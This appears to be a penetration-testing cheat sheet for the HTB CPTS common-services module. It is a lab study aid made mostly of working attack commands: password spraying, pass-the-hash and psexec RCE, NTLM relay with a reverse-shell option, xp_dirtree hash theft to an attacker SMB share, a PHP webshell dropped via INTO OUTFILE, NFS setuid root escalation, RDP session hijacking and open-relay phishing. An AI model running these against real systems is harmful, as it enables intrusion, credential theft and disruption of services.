← Workflow dashboard · Full walkthrough guide · Field manual · Next: Common Applications →

Attacking Common Services — CPTS Cheat Sheet fas:ClipboardList

[!dashboard] Section context Section: HTB Pentest Workflow · Companion: Attacking Common Applications Full guide: Network Service Attack Manual · Attack-flow deep dive: 06 - Stage 03 - Service Enumeration

Summary ris:Eye

The reusable playbook for the services that dominate internal and perimeter networks: FTP, SMB, SQL (MySQL/MSSQL), RDP, DNS, and email (SMTP/POP3/IMAP) — plus the internal-network regulars that show up the moment you pivot: NFS, Kerberos, WinRM, SNMP, and SSH. The method is the same for every protocol — enumerate, try anonymous/default/reused credentials, spray, then exploit a misconfiguration or CVE — framed by the module’s Source → Process → Privileges → Destination model. Misconfigurations (default creds, anonymous auth, over-privileged accounts, unnecessary defaults) land more boxes than memory-corruption bugs, so they come first.

[!danger]+ HTB-Only Boundary fas:TriangleExclamation

1. Authorized engagements / labs only. Password spraying, relaying, and RDP RCE (BlueKeep can BSOD the target) all affect availability — get sign-off.
2. Spray with lockout awareness: one password across all users, watch the domain lockout policy, never a full wordlist per account on a live AD.
3. Record every credential as sensitive evidence; don’t paste secrets into permanent notes.

Methodology — the model behind every service ris:FileList

[!info]+ Concept of Attacks · Source → Process → Privileges → Destination

• Source — where input enters: user input, config, libraries, APIs, a header (Log4j CVE-2021-44228 rode a JNDI string in User-Agent).
• Process — the logic handling that input; most vulns live here.
• Privileges — the context it runs as (SYSTEM/root, service account, app role) = blast radius.
• Destination — local (file/local service) or network (another host). The cycle is linear; a full chain is usually an initiation cycle (leak/foothold) plus a trigger cycle (→ RCE).

[!tip]+ Misconfiguration checklist (offensive = defensive, OWASP A05:2021) fas:Lightbulb

1. Default credentials — admin:admin, admin:password, root:12345678, administrator:Password, blanks.
2. Anonymous authentication — FTP, SMB, occasionally SQL.
3. Misconfigured access rights — over-privileged service/user accounts.
4. Unnecessary defaults — sample files, admin/debug interfaces, verbose errors. Order: banner-grab → default creds → weak combos → full brute force. Audit tools: CIS-CAT, Lynis, testssl.sh.

[!info]+ Finding sensitive information — reuse everything The module’s worked chain: anonymous FTP exposes an empty file named johnsmith → try johnsmith:johnsmith on FTP (fails) → same creds on the mail service (succeeds) → grep the mailbox for the literal string password → recover MSSQL creds → xp_cmdshell → RCE. Lesson: a filename is a candidate username/password. Try anonymous access broadly first (cheap, non-destructive), then reuse any string found against every other service before brute-forcing.

Evidence-first service triage fas:MagnifyingGlass

Keep discovery, authentication, and exploitation separate. This makes the evidence easier to review and prevents a successful credential from being lost in noisy scan output.

# One evidence directory per host; tee only non-secret output
EVIDENCE="evidence/${IP}"
mkdir -p "$EVIDENCE"
sudo nmap -Pn -sV -sC -oA "$EVIDENCE/services" "$IP"

[!warning]+ Credential handling Avoid passwords in command history and process lists. Prefer tool-supported prompts, protected credential files (chmod 600), or environment-specific secret storage; redact exported notes before sharing.

Interacting with services — quick reference fas:Terminal

:: SMB from Windows CMD
dir \\192.168.220.129\Finance\
net use n: \\192.168.220.129\Finance /user:plaintext Password123
:: Count files, then search names and contents.
dir n: /a-d /s /b | find /c ":\"
dir n:\*cred* /s /b
findstr /s /i cred n:\*.*

# SMB from PowerShell (with creds)
$password = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('plaintext', $password)
New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred
Get-ChildItem -Recurse -Path N:\ -Include *cred* -File
Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List

# SMB mount from Linux — prepare /tmp/smb.creds in an editor, then protect it
# File format: username=plaintext, password=<secret>, domain=.
chmod 600 /tmp/smb.creds
sudo mount -t cifs -o credentials=/tmp/smb.creds //192.168.220.129/Finance /mnt/Finance
find /mnt/Finance/ -iname '*cred*'
grep -rn /mnt/Finance/ -ie cred

# SQL clients
sqsh -S $IP -U username -P Password123       # MSSQL, plaintext auth only
mysql -u username -pPassword123 -h $IP       # MySQL
impacket-mssqlclient -port 1433 username@$IP          # impacket → NTLM-hash / Kerberos auth

[!note]+ Tooling notes Prefer enum4linux-ng over the legacy Perl enum4linux. Use current NetExec syntax (nxc) when older material says CrackMapExec — the flags are the same (nxc smb ... -u -p -x). Use impacket-mssqlclient rather than sqsh when you only have an NTLM hash or need Kerberos, and impacket-secretsdump (not secretsdump.py) on current impacket installs. For traffic through tunnels: proxychains gives you a SOCKS4/5 pivot only — nmap is limited to proxychains nmap -sT -Pn (TCP connect, no service/SYN/UDP scan, no host discovery); ligolo-ng’s TUN interface routes real packets, so full nmap -sS, UDP, and non-proxy-aware tools (responder, smbserver) just work.

[!tip]+ Bundled pivot tools — chisel & ligolo-ng fas:Route

• Binaries: chisel.exe (SHA-256 · GPG signature) · chisel_linux_amd64 (SHA-256 · GPG signature) · ligolo-ng_agent_windows_amd64.zip (SHA-256 · GPG signature) · ligolo-ng_agent_linux_amd64.tar.gz (SHA-256 · GPG signature)
• ligolo-ng (TUN, full-stack pivot): on attacker ./proxy -selfcert -laddr 0.0.0.0:11601 → on target agent -connect <attacker>:11601 -ignore-cert → in proxy console: session, ifcreate, then listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 and ip route add <internal-cidr> dev ligolo.
• chisel (SOCKS, single binary): on attacker ./chisel server -p 8000 --reverse → on target chisel.exe client <attacker>:8000 R:socks → proxychains through the resulting SOCKS5 (default 1080).

[!tip]+ FTP/SMB writable → webroot drop (bundled web shells) fas:Spider A writable share that maps to the webroot (or FTP exposed by a web server) is RCE: drop a shell, request it over HTTP.

• Linux/Apache+PHP: rp-shell.php (SHA-256 · GPG signature) → curl 'http://$IP/rp-shell.php?c=id'
• Windows/IIS+ASPX: nt-webshell-rosepine.aspx (SHA-256 · GPG signature) → browse the page for the command box Verify mapping first (plant a .txt, fetch it via HTTP); IIS on AD boxes often wants ASPX, and writable FTP roots on Windows are usually C:\inetpub\wwwroot.

FTP fas:Terminal — TCP/21

# Enumerate (-sC runs ftp-anon; NSE flags a writable dir = webshell drop candidate)
sudo nmap -sC -sV -p21 $IP

# Anonymous login
ftp $IP            # Name: anonymous   Password: <blank/arbitrary>
#   ls / cd navigate · get/mget download · put/mput upload

# Brute-force
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h $IP -M ftp
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://$IP

# FTP Bounce — use the FTP server as a scan proxy to reach an internal host
nmap -Pn -v -n -p80 -b anonymous:password@172.17.0.2 172.17.0.2

[!bug]+ CVE-2022-22836 · CoreFTP arbitrary file write (dir traversal) The HTTP PUT handler doesn’t normalise ../; --path-as-is sends the raw traversal; Basic Auth required.

curl -k -X PUT -H "Host: <IP>" --basic -u <user>:<pass> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops

General CVE lookup: searchsploit <product> <version> · nuclei -t cves/ -u ftp://$IP

SMB fas:Terminal — TCP/445 (139 NetBIOS)

# Enumerate — note smb2-security-mode: "signing not required" = NTLM-relay prereq
sudo nmap $IP -sV -sC -p139,445

# Null-session share enum (-N null auth)
smbclient -N -L //$IP
smbmap -H $IP
smbmap -H $IP -r notes
smbmap -H $IP --download "notes\note.txt"
smbmap -H $IP --upload test.txt "notes\test.txt"

# RPC enum (% = null user+pass) and full enum
rpcclient -U'%' $IP        # then: enumdomusers
./enum4linux-ng.py $IP -A -C

# Password spray (--local-auth = non-domain/local accounts; add --continue-on-success)
nxc smb $IP -u /tmp/userlist.txt -p 'Company01!' --local-auth
#   output "(Pwn3d!)" = local admin on that host

# Remote code execution
impacket-psexec administrator:'Password123!'@$IP           # ADMIN$ + Service Control Manager
nxc smb $IP -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
#   impacket-smbexec = no writable share · impacket-atexec = Task Scheduler · nxc -x CMD / -X PowerShell

# Loot: logged-on users + local SAM hashes
nxc smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users
nxc smb $IP -u administrator -p 'Password123!' --sam       # + impacket-secretsdump for LSA/NTDS

# Pass-the-Hash (-H NTLM)
nxc smb $IP -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

[!warning]+ SMB relay — check preconditions before you claim it fas:Shield NTLM relay fails silently if you skip the checks:

1. SMB signing must be off/optional on the target — verify with nxc smb $IP output (signing:False) or nmap --script smb2-security-mode. Domain controllers have signing required by default: never relayable to SMB. (LDAP/LDAPS relaying has its own channel-binding/EPA constraints.)
2. You need incoming authentication to relay — poisoning (Responder on LLMNR/NBT-NS/mDNS) only works when a victim mistypes a name; otherwise coerce it: PetitPotam (MS-EFSRPC), PrinterBug (MS-RPRN), or ShadowCoerce against hosts where you have any creds or null session.
3. Prove impact before claiming impact — a successful relay that only dumps the local SAM of a workstation is not domain compromise; confirm with a command (-c), a secretsdump, or an authenticated follow-up connection, and capture the output as evidence.

# Set SMB = Off and HTTP = Off in /etc/responder/Responder.conf first, then:
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
#   add -c '<b64 PowerShell revshell>' to execute instead of the default SAM dump
# Coerce (any low-priv creds):
nxc smb $TARGET -u user -p 'pass' -M coerce_plus   # or: coercer/petitpotam.py standalone

[!tip]+ Forced auth (Responder) → crack or relay

sudo responder -I tun0                                          # capture NetNTLMv2
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt       # crack (5600 = NetNTLMv2)
# Relay instead: see the preconditions callout above.

CVE-2020-0796 (SMBGhost) — SMBv3.1.1 compression integer overflow, Win10 1903/1909; conceptual in-module, Metasploit for labs.

Kerberos quick hits fas:Key — TCP/UDP 88 (AD context)

Fast wins once a DC (-dc-ip) and domain are known — no prior creds needed for either.

# User enumeration (Kerberos error codes; quiet — no lockouts, pre-auth only)
kerbrute userenum --dc $DCIP -d inlanefreight.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# AS-REP Roast — users with "Do not require Kerberos preauthentication" → crackable hash
impacket-GetNPUsers inlanefreight.local/ -dc-ip $DCIP -usersfile users.txt -format hashcat -outputfile asrep.txt
#   with creds, roast everything at once: impacket-GetNPUsers inlanefreight.local/user:'pass' -dc-ip $DCIP -request
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt    # 18200 = AS-REP (krb5asrep 23)

[!note]+ Scope note Full AD attacks (Kerberoast, delegation, ADCS) live in the AD cheat sheet — this is just the zero-cred surface that appears while attacking common services. Feed every valid username from kerbrute straight into your SMB/WinRM/RDP sprays.

WinRM fas:Terminal — TCP/5985 (HTTP) · 5986 (HTTPS)

PowerShell remoting endpoint; on Server it’s often enabled even when RDP is not. Creds that fail RDP frequently work here (and vice versa — reuse both ways).

# Detect + auth check
nxc winrm $IP -u user -p 'pass'              # "(Pwn3d!)" = member of Administrators/Remote Management Users

# Shell — password or NTLM hash
evil-winrm -i $IP -u user -p 'pass'
evil-winrm -i $IP -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

# Legacy alternative
ruby /usr/share/evil-winrm/evil-winrm.rb ...  # or: msf exploit/windows/winrm/winrm_script_exec

[!tip]+ Inside evil-winrm Built-ins: upload / download, menu (Invoke-Binary, Dll-Loader, Donut-Loader), -s <scripts dir> to auto-load PowerShell scripts. Traffic is SOAP over HTTP(S) — proxychains-compatible, unlike raw SMB.

SNMP fas:Terminal — UDP/161

Community strings are cleartext passwords over UDP; public/private are the defaults, and read-write strings (private) on Windows = full registry/process/service enumeration and config change.

# Discovery — community string wordlist brute
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt $IP
sudo nmap -sU -p161 --script snmp-brute $IP

# Walk (v1/v2c; use MIBs so OIDs resolve to names)
snmpwalk -v2c -c public $IP
snmpwalk -v2c -c public -m ALL $IP .1.3.6.1.2.1
#   1.3.6.1.2.1.25.1.6  = running processes   1.3.6.1.4.1.77.1.2.25 = Windows users

[!tip]+ SNMP pays twice fas:Lightbulb

1. Windows host with public: pull the local user list (...77.1.2.25) → feed the spray.
2. Network gear with a read-write string: snmpset to rewrite the config, or dump the running-config via TFTP and harvest creds (Cisco type-7 = reversible). SNMPv3 has real auth — if v1/v2c answers at all, that’s the finding.

SQL Databases fas:Terminal — MSSQL 1433 · MySQL 3306

nmap -Pn -sV -sC -p1433,3306 $IP

mysql -u julio -pPassword123 -h $IP
sqsh -S $IP -U .\\julio -P 'MyPassword!' -h      # .\ prefix forces a LOCAL SQL account; -h no headers
impacket-mssqlclient -port 1433 julio@$IP                 # impacket
#   hash auth:  impacket-mssqlclient -hashes :<NTLM> julio@$IP
#   Kerberos:   impacket-mssqlclient -k -no-pass julio@host.domain

-- Enumerate (MSSQL, GO terminates each batch)
SELECT name FROM master.dbo.sysdatabases
GO
-- Enumerate (MySQL)
SHOW DATABASES; USE htbusers; SHOW TABLES; SELECT * FROM users;

MSSQL → RCE with xp_cmdshell:

xp_cmdshell 'whoami'
GO
-- if disabled (needs sysadmin):
EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE
GO
-- impacket-mssqlclient shortcut:  enable_xp_cmdshell   (then:  xp_cmdshell whoami)

MySQL file read/write (needs FILE priv + empty secure_file_priv):

SHOW VARIABLES LIKE "secure_file_priv";
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
SELECT LOAD_FILE("/etc/passwd");

MSSQL file read (service-account perms, no special config):

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
GO

MSSQL privesc — IMPERSONATE:

EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO      -- run from master; REVERT to switch back

MSSQL linked-server pivot:

SELECT srvname, isremote FROM sysservers
GO
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
GO      -- double single-quotes escape; chain with ;

[!tip]+ Steal NetNTLMv2 with xp_dirtree

sudo impacket-smbserver share ./ -smb2support      # or: sudo responder -I tun0

EXEC master..xp_dirtree '\\10.10.110.17\share\'
GO      -- xp_subdirs may say access-denied yet still capture the hash

Legacy: CVE-2012-2122 — MySQL 5.6.x timing auth bypass (unpatched-only).

RDP fas:Terminal — TCP/3389

nmap -Pn -p3389 $IP                                    # ms-wbt-server

# Password spray (hydra rdp module is experimental → -t 1..4, -W 1..3)
crowbar -b rdp -s $IP/32 -U users.txt -c 'password123'
hydra -L usernames.txt -p 'password123' $IP rdp

# Login
rdesktop -u admin -p password123 $IP
xfreerdp /v:$IP /u:<user> /p:<password>
xfreerdp /v:$IP /u:<user> /p:<pass> /drive:share,/home/kali/share   # drag tools in via tsclient

:: Session hijack — needs SYSTEM (service runs as Local System). Does NOT work on Server 2019+.
query user
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
net start sessionhijack

:: Pass-the-Hash via Restricted Admin Mode (enable it first — needs prior local admin)
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

xfreerdp /v:$IP /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9

[!warning]+ CVE-2019-0708 (BlueKeep) Unauthenticated use-after-free in the RDP virtual-channel exchange → RCE as LocalSystem. Can BSOD the target — client sign-off required. Metasploit: rdp_scanner to check, cve_2019_0708_bluekeep_rce to exploit.

NFS fas:Terminal — TCP/UDP 2049 (+ 111 rpcbind)

Linux file shares; misconfigured exports hand you the target’s filesystem — and with no_root_squash, a root shell.

# List exports
showmount -e $IP

# Mount read-only first (evidence-safe); nolock skips lockd on old NFS
sudo mkdir -p /mnt/nfs && sudo mount -o ro,nolock -t nfs $IP:/share /mnt/nfs

# no_root_squash check — if your root-mapped files stay uid=0, the export squashes nothing:
#   drop a setuid binary: cp bash /mnt/nfs/ && chmod +s /mnt/nfs/bash
#   then on the target (any shell):  ./bash -p   → euid=0

SSH fas:Terminal — TCP/22

Rarely “attacked” directly — the play is key reuse from everything else you loot.

# Any readable home dir (NFS, FTP, web LFI) → hunt keys
find /mnt/nfs -name 'id_rsa*' -o -name '*.pem' 2>/dev/null
chmod 600 id_rsa && ssh -i id_rsa user@$IP

# Encrypted key? crack it
ssh2john id_rsa > hash && john --wordlist=/usr/share/wordlists/rockyou.txt hash

# Spray (rarely worth it; keys land more often)
hydra -L users.txt -p 'password123' ssh://$IP

[!tip]+ Reuse rule for SSH fas:Key Passwords recovered from mailboxes, configs, and SNMP walks get tried against SSH first — it’s the cleanest shell and (on Linux) the most common sudo path. And one host’s id_rsa frequently logs into the next host as the same user; check ~/.ssh/known_hosts on every compromised box for the pivot map.

DNS fas:Terminal — UDP/53 (TCP/53 for zone transfers)

nmap -p53 -Pn -sV -sC $IP

# Zone transfer (AXFR) — leaks the entire internal namespace if misconfigured
dig AXFR @ns1.inlanefreight.htb inlanefreight.htb
fierce --domain zonetransfer.me

# Subdomain enumeration (passive first, then brute) → subdomain takeover
./subfinder -d inlanefreight.com -v
host support.inlanefreight.com
#   CNAME → inlanefreight.s3.amazonaws.com; "NoSuchBucket" = dangling CNAME
#   → register the S3 bucket "inlanefreight" to take over the subdomain
#   scale check: nuclei -t subdomain-takeover ; repo: can-i-take-over-xyz

[!info]+ Local DNS spoofing (Ettercap/Bettercap — requires L2 MITM) Edit /etc/ettercap/etter.dns → inlanefreight.com A 192.168.225.110 (and *.inlanefreight.com), ARP-spoof victim↔gateway, enable the dns_spoof plugin. Bettercap is the modern successor.

Email Services fas:Terminal — SMTP 25 · POP3 110 · IMAP 143 (+ TLS 465/587/993/995)

# MX + provider recon (O365 = *.mail.protection.outlook.com, G-Suite = aspmx.l.google.com)
host -t MX hackthebox.eu
dig mx inlanefreight.com | grep "MX" | grep -v ";"
sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 $IP

Manual user enumeration (telnet):

# SMTP (port 25)          # POP3 (port 110)
VRFY root      → 252 valid / 550 invalid      USER john  → +OK valid / -ERR invalid
EXPN john      → expands distribution lists
MAIL FROM:john@inlanefreight.htb
RCPT TO:john   → 250 valid / 550 unknown

# Automated SMTP enum
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t $IP
#   -M VRFY|EXPN|RCPT  (also: msf auxiliary/scanner/smtp/smtp_enum)

# Office 365 — Hydra is throttled by MS; use o365spray / MailSniper
python3 o365spray.py --validate --domain msplaintext.xyz
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz

# Self-hosted spray (swap pop3 for smtp / imap; -f stop on first hit)
hydra -L users.txt -p 'Company01!' -f $IP pop3

# Open relay → phishing
nmap -p25 -Pn --script smtp-open-relay $IP
swaks --from admin@company.com --to john@company.com --header 'Subject: Company Notification' --body 'http://mycustomphishinglink/' --server $IP

[!bug]+ CVE-2020-7247 · OpenSMTPD unauthenticated RCE A ; in the sender-address field breaks parsing → command execution as root (mail daemon on a standardised port runs as root). PoC is a ≤64-char shell command in the sender field (Exploit-DB).

CVE quick index ris:GlobalLine

Port reference ris:GlobalLine

Lessons Learned fas:Lightbulb

1. Misconfig before CVE. Anonymous auth, default creds, and over-privileged accounts land more services than any memory-corruption bug — walk the four-category checklist first.
2. Reuse every string. A filename, a username in a share, a password in a mailbox — try it against every other service before you brute-force. That’s the module’s whole worked chain.
3. Spray, don’t brute, on AD. One password across all users with lockout awareness; a full wordlist per account locks out the domain and burns the engagement.
4. SQL is a file-system and a network pivot, not just data — xp_cmdshell, INTO OUTFILE, OPENROWSET, xp_dirtree hash steal, and linked-server hops all start from a DB login.
5. Some exploits break things. BlueKeep BSODs, relays and sprays touch availability — least-invasive-first, and get explicit sign-off for the loud ones.
6. Check relay preconditions before you claim the attack. SMB signing on the target, a coercion path (or Responder luck), and demonstrated impact — all three, or it’s a theory, not a finding.
7. The boring protocols close the gap. SNMP public, NFS no_root_squash, and reused SSH keys are low-noise, high-yield — enumerate them on every host, especially post-pivot.
8. Pick the right tunnel. proxychains/SOCKS is quick but cripples nmap (-sT -Pn only) and breaks tools that need raw sockets; ligolo-ng’s TUN route costs a minute to set up and restores full tooling.

References fas:BookOpen

1. HTB Academy — Attacking Common Services
2. HTB Academy — Pivoting, Tunneling, and Port Forwarding
3. PayloadsAllTheThings · InternalAllTheThings
4. Impacket · NetExec · NetExec Wiki — selecting and using protocols
5. Responder · kerbrute · evil-winrm · enum4linux-ng
6. ligolo-ng · chisel
7. OWASP A05:2021 — Security Misconfiguration
8. can-i-take-over-xyz — subdomain takeover matrix

← Workflow dashboard · Full walkthrough guide · Field manual · Next: Common Applications →

#HTB #CPTS #AttackingCommonServices #Services #Pentest